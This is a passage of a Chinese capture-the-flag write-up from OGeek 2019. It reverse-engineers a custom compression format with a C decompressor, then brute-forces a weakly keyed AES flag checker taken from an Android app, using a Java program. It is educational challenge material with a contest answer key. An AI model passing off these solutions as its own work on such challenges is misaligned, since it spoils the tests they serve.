push_n_bits(out, position, 12);
push_n_bits(out, number - 2, 4);
}
else
{
v9 = 1;
push_one_bit(out, 1);
push_n_bits(out, buf[v8], 8);
}

buf为该压缩算法的缓冲区,大小为0x1000,其压缩的目的也主要取决于该缓冲区。

这是一个按位压缩的算法,从compress函数的上面代码可知,该协议分为标志位和携带内容,当标志为1时,其协议长度分为9 bit, 第一个bit为标志位,后面八个bit为一个字符。

当标志为0时,其协议长度分为17 bit, 第一个bit为标志位,然后12个bit为buf缓冲区的地址,然后4个bit为重复的次数,在解压的时候直接将其复制过来就行,这里主要是压缩重复的字节流。

只要知道压缩原理之后,只要按照其协议解压即可。下面是我写的解压程序:

// gcc -s -O3 uncompress.c -o uncompress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void recover(char *out_str, unsigned int position, unsigned int num, size_t out, char *buf)
{
int i, p, o;
char ch;
p = position - 1;
o = out;
for (i = 0; i < num; i++)
{
if (((p - out) & 0xfff) >= 0 && ((p - out) & 0xfff) < 17)
{
p = position - 1;
buf[(o & 0xfff)] = buf[(p & 0xfff)];
out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
}
else
{
buf[(o & 0xfff)] = buf[(p & 0xfff)];
out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
}
}
}

int main(int argc, char **argv)
{
int bit, used;
register union{
int value;
char bytes[4];
}bits;
unsigned char ch, *in_str, *out_str, buf[0x1000];
unsigned int position, num;
FILE *in_fp, *out_fp;
size_t in = 0, all_in, out = 0;

if(argc < 3)
{
puts("Usage: ./uncompress in_file out_file");
exit(0);
}

in_fp = fopen(argv[1], "rb");

if(in_fp == NULL)
{
perror("fopen error!");
exit(-1);
}

out_fp = fopen(argv[2], "wb");

if(out_fp == NULL)
{
perror("fopen error!");
exit(-1);
}

setbuf(out_fp, NULL);

in_str = malloc(62914560);
out_str = malloc(62914560);

memset(buf, 0, 0x1000);

all_in = fread(in_str, 1, 62914560, in_fp);

bits.bytes[3] = in_str[in++];
bits.bytes[2] = in_str[in++];
bits.bytes[1] = in_str[in++];
bits.bytes[0] = in_str[in++];

used = 0;

while (in < all_in)
{
if(bits.value & 0x80000000)
{
bits.value <<= 1;
ch = bits.bytes[3];
bits.value <<= 8;
buf[out & 0xfff] = ch;
out_str[out++] = ch;
used += 9;
}
else
{
bits.value <<= 1;
position = (bits.value & 0xfff00000) >> 20;
bits.value <<= 12;
num = ((bits.value & 0xf0000000) >> 28) + 2;
bits.value <<= 4;
recover(out_str, position, num, out, buf);
out += num;
used += 17;
}

while(used / 8)
{
bits.value |= (in_str[in++] << (used - 8));
used -= 8;
}
}

fwrite(out_str, 1, out, out_fp);

fclose(out_fp);
fclose(in_fp);
free(in_str);
free(out_str);

return 0;
}

之后用该程序进行解压,可以获得一张图片,flag就在图片里。

ex@Ex:~/ogeek2019/re/babyre$ ./uncompress output.file result
ex@Ex:~/ogeek2019/re/babyre$ file result
result: PC bitmap, Windows 98/2000 and newer format, 1920 x 1080 x 32

Mobile - mblockchain

附件是一个安装包,对安装包就行解压,反汇编,得到下面主要代码:

// 
// Decompiled by Procyon v0.5.30
//

package com.oppo.blockchain;

import java.security.MessageDigest;
import java.io.OutputStream;
import javax.crypto.CipherOutputStream;
import java.io.ByteArrayOutputStream;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

class FlagChecker
{
public static boolean checkFlag(final String s, final String s2) throws Exception {
final byte[] hash = hash(s.getBytes());
byte[] array = hash(new byte[] { hash[0], hash[hash.length / 2], hash[hash.length - 1] });
byte[] array2 = s2.getBytes();
for (int i = 0; i < 10; ++i) {
array2 = encrypt(array2, array);
array = hash(array);
}
return toHex(array2).equals("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");
}

public static byte[] encrypt(final byte[] array, final byte[] array2) throws Exception {
final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, secretKeySpec);
final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
cipherOutputStream.write(array);
cipherOutputStream.flush();
cipherOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static byte[] hash(final byte[] array) throws Exception {
final MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(array);
return instance.digest();
}

public static String toHex(final byte[] array) {
final StringBuilder sb = new StringBuilder();
for (int i = 0; i < array.length; ++i) {
final String hexString = Integer.toHexString(array[i] & 0xFF);
if (hexString.length() == 1) {
sb.append('0');
}
sb.append(hexString);
}
return sb.toString();
}
}

ss2为我们的输入。

有下面这句话看出,hash时,只取 3个byte,所以我们对这 3个byte 进行反向爆破,最终将在爆破出的结果中找到flag。

byte[] array = hash(new byte[] { hash[0], hash[hash.length / 2],

下面是我写的爆破代码:

import java.security.MessageDigest;
import java.io.OutputStream;
import javax.crypto.CipherOutputStream;
import java.io.ByteArrayOutputStream;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

class flag{
public static void main(String[] args) {
try{
byte[][] hash_array = new byte[10][];
byte[] key = new byte[3];
for(int i=0; i < 256; i++)
{
key[0] = (byte)i;
System.err.println(i);
for(int ii =0;ii < 256; ii++)
{
key[1] = (byte)ii;

for(int iii=0; iii< 256;iii++)
{
key[2] = (byte)iii;
hash_array[0] = hash(key);
byte[] answer = new byte[] {(byte)0x74,(byte)0xf0,(byte)0xb1,(byte)0x65,(byte)0xdb,(byte)0x8a,(byte)0x62,(byte)0x87,(byte)0x16,(byte)0xb5,(byte)0x3a,(byte)0x9d,(byte)0x4f,(byte)0x64,(byte)0x05,(byte)0x98,(byte)0x0d,(byte)0xb2,(byte)0xf8,(byte)0x33,(byte)0xaf,(byte)0xa1,(byte)0xed,(byte)0x5e,(byte)0xeb,(byte)0x43,(byte)0x04,(byte)0xc5,(byte)0x22,(byte)0x0b,(byte)0xdc,(byte)0x0b,(byte)0x54,(byte)0x1f,(byte)0x85,(byte)0x7a,(byte)0x73,(byte)0x48,(byte)0x07,(byte)0x4b,(byte)0x2a,(byte)0x77,(byte)0x75,(byte)0xd6,(byte)0x91,(byte)0xe7,(byte)0x1b,(byte)0x49,(byte)0x04,(byte)0x02,(byte)0x62,(byte)0x1e,(byte)0x8a,(byte)0x53,(byte)0xba,(byte)0xd4,(byte)0xcf,(byte)0x7a,(byte)0xd4,(byte)0xfc,(byte)0xc1,(byte)0x5f,(byte)0x20,(byte)0xa8,(byte)0x06,(byte)0x6e,(byte)0x08,(byte)0x7f,(byte)0xc1,(byte)0xb2,(byte)0xff,(byte)0xb2,(byte)0x1c,(byte)0x27,(byte)0x46,(byte)0x3b,(byte)0x57,(byte)0x37,(byte)0xe3,(byte)0x47,(byte)0x38,(byte)0xa6,(byte)0x24,(byte)0x4e,(byte)0x16,(byte)0x30,(byte)0xd8,(byte)0xfa,(byte)0x1b,(byte)0xf4,(byte)0xf3,(byte)0x8b,(byte)0x7e,(byte)0x71,(byte)0xd7,(byte)0x07,(byte)0x42,(byte)0x5c,(byte)0x82,(byte)0x25,(byte)0xf2,(byte)0x40,(byte)0xf4,(byte)0xbd,(byte)0x2b,(byte)0x03,(byte)0xd6,(byte)0xc2,(byte)0x47,(byte)0x1e,(byte)0x90,(byte)0x0b,(byte)0x75,(byte)0x15,(byte)0x4e,(byte)0xb6,(byte)0xf9,(byte)0xdf,(byte)0xbd,(byte)0xf5,(byte)0xa4,(byte)0xec,(byte)0xa9,(byte)0xde,(byte)0x51,(byte)0x63,(byte)0xf9,(byte)0xb3,(byte)0xee,(byte)0x82,(byte)0x95,(byte)0x9f,(byte)0x16,(byte)0x69,(byte)0x24,(byte)0xe8,(byte)0xad,(byte)0x5f,(byte)0x1d,(byte)0x74,(byte)0x4c,(byte)0x51,(byte)0x41,(byte)0x6a,(byte)0x1d,(byte)0xb8,(byte)0x96,(byte)0x38,(byte)0xbb,(byte)0x4d,(byte)0x14,(byte)0x11,(byte)0xaa,(byte)0x1b,(byte)0x13,(byte)0x07,(byte)0xd8,(byte)0x8c,(byte)0x1f,(byte)0xb5};
for(int j=0; j < 9; j++)
{
hash_array[j + 1] = hash(hash_array[j]);
}


for(int j=9; j>=0; j--)
{
answer = decrypt(answer, hash_array[j]);
}

if(answer.length > 6){
System.out.println(new String(answer));
}
}

}
}
}catch (Exception e){
e.printStackTrace();
}

}

public static byte[] encrypt(final byte[] array, final byte[] array2) throws Exception {
final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, secretKeySpec);
final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
cipherOutputStream.write(array);
cipherOutputStream.flush();
cipherOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static byte[] decrypt(final byte[] array, final byte[] array2) throws Exception {
final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(2, secretKeySpec);
final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
cipherOutputStream.write(array);
cipherOutputStream.flush();
cipherOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static byte[] hash(final byte[] array) throws Exception {
final MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(array);
return instance.digest();
}

public static String toHex(final byte[] array) {
final StringBuilder sb = new StringBuilder();
for (int i = 0; i < array.length; ++i) {
final String hexString = Integer.toHexString(array[i] & 0xFF);
if (hexString.length() == 1) {
sb.append('0');
}
sb.append(hexString);
}
return sb.toString();
}
}

最终,将在结果中找到flag。